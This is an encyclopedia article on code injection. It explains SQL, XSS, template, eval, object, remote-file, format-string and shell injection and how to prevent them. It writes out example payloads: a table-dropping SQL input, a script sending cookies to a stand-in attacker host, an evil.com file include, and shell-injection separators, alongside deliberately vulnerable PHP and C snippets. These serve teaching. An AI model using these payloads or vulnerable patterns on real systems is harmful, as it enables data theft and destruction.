Code injection
Code injection is a class of computer security exploits in which vulnerable computer programs or system processes fail to correctly handle external data, such as user input, leading to the program misinterpreting the data as a command that should be executed. An attacker using this method "injects" code into the program while it is running. Successful exploitation of a code injection vulnerability can result in data breaches, access to restricted or critical computer systems and the spread of malware.
Code injection vulnerabilities occur when an application sends untrusted data to an interpreter, which then executes the injected text as code. Injection flaws are often found in services like Structured Query Language (SQL) databases, Extensible Markup Language (XML) parsers, operating system commands, Simple Mail Transfer Protocol (SMTP) headers and other program arguments. Injection flaws are more straightforward to discover when examining source code than when testing.[1] Static analysis and fuzzers can help find injection flaws.[2]
There are numerous types of code injection but most are errors in interpretation, since they treat benign user input as code or fail to distinguish input from system commands. Many examples of interpretation errors, like these, can exist outside of computer science, such as the comedy routine "Who's on First?". Code injection techniques are used in hacking to gain information, as well as in privilege escalation, or to gain access to a system. Code injection can be used maliciously for many purposes, including:
- Arbitrarily modifying values in a database through SQL injection; the impact of this can range from website defacement to serious compromise of sensitive data.
- Installing malware or executing malevolent code on a server by injecting server scripting code (such as PHP).
- Privilege escalation to either superuser permissions on UNIX by exploiting shell injection vulnerabilities in a setuid binary or to Local System privileges on Microsoft Windows by exploiting a service within Windows.
- Attacking web users with Hyper Text Markup Language (HTML) or Cross-Site Scripting (XSS) injection.
Code injections that target the Internet of Things could also lead to severe consequences such as data breaches and service disruption.[3]
Code injection vulnerabilities are recorded by the National Institute of Standards and Technology (NIST) in the National Vulnerability Database (NVD) as CWE-94. As a percentage of all recorded vulnerabilities, code injection peaked in 2008 at 5.66%.[4]
Benign and unintentional use
[edit]Code injection may be done with good intentions. For example, changing or tweaking the behavior of a program or system through code injection can cause the system to behave in a certain way without malicious intent.[5][6] Code injection could, for example:
- Introduce a useful new column that did not appear in the original design of a search results page.
- Offer a new way to filter, order, or group data by using a field not exposed in the default functions of the original design.
- Add functionality like connecting to online resources in an offline program.
- Override a function, making calls redirect to another implementation. This can be done with the Dynamic Linker in Linux.[7]
Some users may unsuspectingly perform code injection because the input they provided to a program was not considered by those who originally developed the system. For example:
- What the user may consider as valid input may contain token characters or strings that have been reserved by the developer to have special meaning (such as the ampersand or quotation marks).
- The user may submit a malformed file as input that is handled properly in one application but is toxic to the receiving system.
Another benign use of code injection is the discovery of injection flaws to find and fix vulnerabilities. This is known as a penetration test.
Preventing Code Injection
[edit]To prevent code injection problems, the person could use secure input and output handling strategies, such as:
- Using an application programming interface (API) that, if used properly, is secure against all input characters. Parameterized queries allow the moving of user data out of a string to be interpreted. Additionally, Criteria API[8] and similar APIs move away from the concept of command strings to be created and interpreted.
- Enforcing language separation via a static type system.[9]
- Validating or "sanitizing" input, such as whitelisting known good values. This can be done on the client side, which is prone to modification by malicious users, or on the server side, which is more secure.
- Encoding input or escaping dangerous characters. For instance, in PHP, using the
htmlspecialchars()
function to escape special characters for safe output of text in HTML and themysqli::real_escape_string()
function to isolate data which will be included in an SQL request can protect against SQL injection. - Encoding output, which can be used to prevent XSS attacks against website visitors.
- Using the
HttpOnly
flag for HTTP cookies. When this flag is set, it does not allow client-side script interaction with cookies, thereby preventing certain XSS attacks.[10] - Modular shell disassociation from the kernel.
- Regarding SQL injection, one can use parameterized queries, stored procedures, whitelist input validation, and other approaches to help mitigate the risk of an attack.[11] Using object-relational mapping can further help prevent users from directly manipulating SQL queries.
The solutions described above deal primarily with web-based injection of HTML or script code into a server-side application. Other approaches must be taken, however, when dealing with injection of user code on a user-operated machine, which often results in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are:
- Runtime image hash validation, which involves capturing the hash of a partial or complete image of the executable loaded into memory and comparing it with stored and expected hashes.
- NX bit: all user data is stored in special memory sections that are marked as non-executable. The processor is made aware that no code exists in that part of memory and refuses to execute anything found in there.
- Use canaries, which are randomly placed values in a stack. At runtime, a canary is checked when a function returns. If a canary has been modified, the program stops execution and exits. This occurs on a failed Stack Overflow Attack.
- Code Pointer Masking (CPM): after loading a (potentially changed) code pointer into a register, the user can apply a bitmask to the pointer. This effectively restricts the addresses to which the pointer can refer. This is used in the C programming language.[12]
Examples
[edit]SQL injection
[edit]An SQL injection takes advantage of SQL syntax to inject malicious commands that can read or modify a database or compromise the meaning of the original query.[13]
For example, consider a web page that has two text fields which allow users to enter a username and a password. The code behind the page will generate an SQL query to check the password against the list of user names:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'
If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code "('Password' OR '1'='1')
in the Password field, then the resulting query will look like this:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password' OR '1'='1'
In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'
" will always be true and many rows will be returned, thereby allowing access.
The technique may be refined to allow multiple statements to run or even to load up and run external programs.
Assume a query with the following format:
SELECT User.UserID
FROM User
WHERE User.UserID = ' " + UserID + " '
AND User.Pwd = ' " + Password + " '
If an adversary has the following for inputs:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
then the query will be parsed as:
SELECT User.UserID
FROM User
WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
The resulting User
table will be removed from the database. This occurs because the ;
symbol signifies the end of one command and the start of a new one. --
signifies the start of a comment.
Cross-site scripting
[edit]Code injection is the malicious injection or introduction of code into an application. Some web servers have a guestbook script, which accepts small messages from users and typically receives messages such as:
Very nice site!
However, a malicious person may know of a code injection vulnerability in the guestbook and enter a message such as:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>
If another user views the page, then the injected code will be executed. This code can allow the attacker to impersonate another user. However, this same software bug can be accidentally triggered by an unassuming user, which will cause the website to display bad HTML code.
HTML and script injection are popular subject, commonly termed "cross-site scripting" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML without being checked for HTML code or scripting.
Many of these problems are related to erroneous assumptions of what input data is possible or the effects of special data.[14]
Server Side Template Injection
[edit]Template engines are often used in modern web application to display dynamic data. However, trusting non-validated user data can frequently lead to critical vulnerabilities[15] such as server-side Side Template Injections. While this vulnerability is similar to cross-site scripting, template injection can be leveraged to execute code on the web server rather than in a visitor's browser. It abuses a common workflow of web applications, which often use user inputs and templates to render a web page. The example below shows the concept. Here the template {{visitor_name}}
is replaced with data during the rendering process.
Hello {{visitor_name}}
An attacker can use this workflow to inject code into the rendering pipeline by providing a malicious visitor_name
. Depending on the implementation of the web application, he could choose to inject {{7*'7'}}
which the renderer could resolve to Hello 7777777
. Note that the actual web server has evaluated the malicious code and therefore could be vulnerable to remote code execution.
Dynamic evaluation vulnerabilities
[edit]An eval()
injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval()
function call.[16]
$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');
The argument of "eval
" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')
", additional code is run which executes a program on the server, in this case "/bin/echo
".
Object injection
[edit]PHP allows serialization and deserialization of whole objects. If untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks.[17] Such an attack on Joomla was found in 2013.[18]
Remote file injection
[edit]Consider this PHP program (which includes a file specified by request):
<?php
$color = 'blue';
if (isset($_GET['color']))
$color = $_GET['color'];
require($color . '.php');
The example expects a color to be provided, while attackers might provide COLOR=http://evil.com/exploit
causing PHP to load the remote file.
Format specifier injection
[edit]Format string bugs appear most commonly when a programmer wishes to print a string containing user-supplied data. The programmer may mistakenly write printf(buffer)
instead of printf("%s", buffer)
. The first version interprets buffer
as a format string and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. Consider the following short C program that has a local variable char array password
which holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string.
char user_input[100];
int int_in;
char password[10] = "Password1";
printf("Enter an integer\n");
scanf("%d", &int_in);
printf("Please enter a string\n");
fgets(user_input, sizeof(user_input), stdin);
printf(user_input); // Safe version is: printf("%s", user_input);
printf("\n");
return 0;
If the user input is filled with a list of format specifiers, such as %s%s%s%s%s%s%s%s
, then printf()
will start reading from the stack. Eventually, one of the %s
format specifiers will access the address of password
, which is on the stack, and print Password1
to the screen.
Shell injection
[edit]Shell injection (or command injection[19]) is named after UNIX shells but applies to most systems that allow software to programmatically execute a command line. Here is an example vulnerable tcsh script:
# !/bin/tcsh
# check arg outputs it matches if arg is one
if ($1 == 1) echo it matches
If the above is stored in the executable file ./check
, the shell command ./check " 1 ) evil"
will attempt to execute the injected shell command evil
instead of comparing the argument with the constant one. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter to defend against an attack.[20]
Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these are system()
, StartProcess()
, and System.Diagnostics.Process.Start()
.
Client-server systems such as web browser interaction with web servers are potentially vulnerable to shell injection. Consider the following short PHP program that can run on a web server to run an external program called funnytext
to replace a word the user sent with some other word.
<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
The passthru
function in the above program composes a shell command that is then executed by the web server. Since part of the command it composes is taken from the URL provided by the web browser, this allows the URL to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive):[21]
Shell feature | USER_INPUT value
|
Resulting shell command | Explanation |
---|---|---|---|
Sequential execution | ; malicious_command
|
/bin/funnytext ; malicious_command
|
Executes funnytext , then executes malicious_command .
|
Pipelines | | malicious_command
|
/bin/funnytext | malicious_command
|
Sends the output of funnytext as input to malicious_command .
|
Command substitution | `malicious_command`
|
/bin/funnytext `malicious_command`
|
Sends the output of malicious_command as arguments to funnytext .
|
Command substitution | $(malicious_command)
|
/bin/funnytext $(malicious_command)
|
Sends the output of malicious_command as arguments to funnytext .
|
AND list | && malicious_command
|
/bin/funnytext && malicious_command
|
Executes malicious_command iff funnytext returns an exit status of 0 (success).
|
OR list | || malicious_command
|
/bin/funnytext || malicious_command
|
Executes malicious_command iff funnytext returns a nonzero exit status (error).
|
Output redirection | > ~/.bashrc
|
/bin/funnytext > ~/.bashrc
|
Overwrites the contents the .bashrc file with the output of funnytext .
|
Input redirection | < ~/.bashrc
|
/bin/funnytext < ~/.bashrc
|
Sends the contents of the .bashrc file as input to funnytext .
|
Some languages offer functions to properly escape or quote strings that are used to construct shell commands:
- PHP:
escapeshellarg()
andescapeshellcmd()
- Python:
shlex.quote()
However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended.
A safer alternative is to use APIs that execute external programs directly rather than through a shell, thus preventing the possibility of shell injection. However, these APIs tend to not support various convenience features of shells and/or to be more cumbersome/verbose compared to concise shell syntax.
See also
[edit]References
[edit]- ^ "Top 10 Web Application Security Vulnerabilities". Penn Computing. University of Pennsylvania. Archived from the original on 24 February 2018. Retrieved 10 December 2016.
- ^ "OWASP Top 10 2013 A1: Injection Flaws". OWASP. Archived from the original on 28 January 2016. Retrieved 19 December 2013.
- ^ Noman, Haitham Ameen; Abu-Sharkh, Osama M. F. (January 2023). "Code Injection Attacks in Wireless-Based Internet of Things (IoT): A Comprehensive Review and Practical Implementations". Sensors. 23 (13): 6067. Bibcode:2023Senso..23.6067N. doi:10.3390/s23136067. ISSN 1424-8220. PMC 10346793. PMID 37447915.
- ^ "NVD - Statistics Search". web.nvd.nist.gov. Archived from the original on 15 December 2023. Retrieved 9 December 2016.
- ^ Srinivasan, Raghunathan. "Towards More Effective Virus Detectors" (PDF). Arizona State University. Archived from the original (PDF) on 29 July 2010. Retrieved 18 September 2010.
Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.
- ^ Morales, Jose Andre; Kartaltepe, Erhan; Xu, Shouhuai; Sandhu, Ravi (2010). "Symptoms-Based Detection of Bot Processes". Computer Network Security. Lecture Notes in Computer Science. Vol. 6258. Berlin, Heidelberg: Springer. pp. 229–241. CiteSeerX 10.1.1.185.2152. doi:10.1007/978-3-642-14706-7_18. ISBN 978-3-642-14705-0. ISSN 0302-9743.
- ^ "Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs". Rafał Cieślak's blog. 2 April 2013. Archived from the original on 25 December 2021. Retrieved 10 December 2016.
- ^ "The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries". Oracle. Archived from the original on 11 November 2013. Retrieved 19 December 2013.
- ^ Moertel, Tom (18 October 2006). "A type-based solution to the "strings problem": a fitting end to XSS and SQL-injection holes?". Tom Moertel's Blog. Archived from the original on 6 August 2013. Retrieved 21 October 2018.
- ^ "HttpOnly". OWASP. 12 November 2014. Archived from the original on 26 December 2008. Retrieved 10 December 2016.
- ^ "SQL Injection Prevention Cheat Sheet". OWASP. Archived from the original on 20 January 2012. Retrieved 10 December 2016.
- ^ Philippaerts, Pieter; et al. (1 June 2013). "CPM: Masking Code Pointers to Prevent Code Injection Attacks" (PDF). ACM Transactions on Information and System Security. 16 (1): 1–27. doi:10.1145/2487222.2487223. ISSN 1094-9224. S2CID 10947780. Archived (PDF) from the original on 24 February 2021. Retrieved 21 October 2018.
- ^ Zhuo, Z.; Cai, T.; Zhang, X.; Lv, F. (12 March 2021). "Long short-term memory on abstract syntax tree for SQL injection detection". IET Software. 15 (2): 188–197. doi:10.1049/sfw2.12018. ISSN 1751-8806. S2CID 233582569.
- ^ Hope, Brian; Hope, Paco; Walther, Ben (15 May 2009). Web Security Testing Cookbook. Sebastopol, CA: O'Reilly Media. p. 254. ISBN 978-0-596-51483-9. OCLC 297573828.
- ^ "Server-Side Template Injection". PortSwigger Research. 5 August 2015. Archived from the original on 22 May 2022. Retrieved 22 May 2022.
- ^ Christey, Steven M. (3 May 2006). "Dynamic Evaluation Vulnerabilities in PHP applications". Full Disclosure (Mailing list). Archived from the original on 13 November 2009. Retrieved 21 October 2018.
- ^ "Unserialize function warnings". PHP.net. Archived from the original on 9 May 2015. Retrieved 6 June 2014.
- ^ "Analysis of the Joomla PHP Object Injection Vulnerability". Archived from the original on 2 March 2013. Retrieved 6 June 2014.
- ^ "Command Injection". OWASP. Archived from the original on 20 December 2013. Retrieved 19 December 2013.
- ^ Douglas W. Jones, CS:3620 Notes, Lecture 4—Shell Scripts. Archived 24 September 2024 at the Wayback Machine, Spring 2018.
- ^ "Command Injection - Black Hat Library". Archived from the original on 27 February 2015. Retrieved 27 February 2015.
External links
[edit]- Tadeusz Pietraszek and Chris Vanden Berghe. "Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)"
- News article "Flux spreads wider—First Trojan horse to make use of code injection to prevent detection from a firewall
- The Daily WTF regularly reports real-world incidences[spelling?] of susceptibility to code injection in software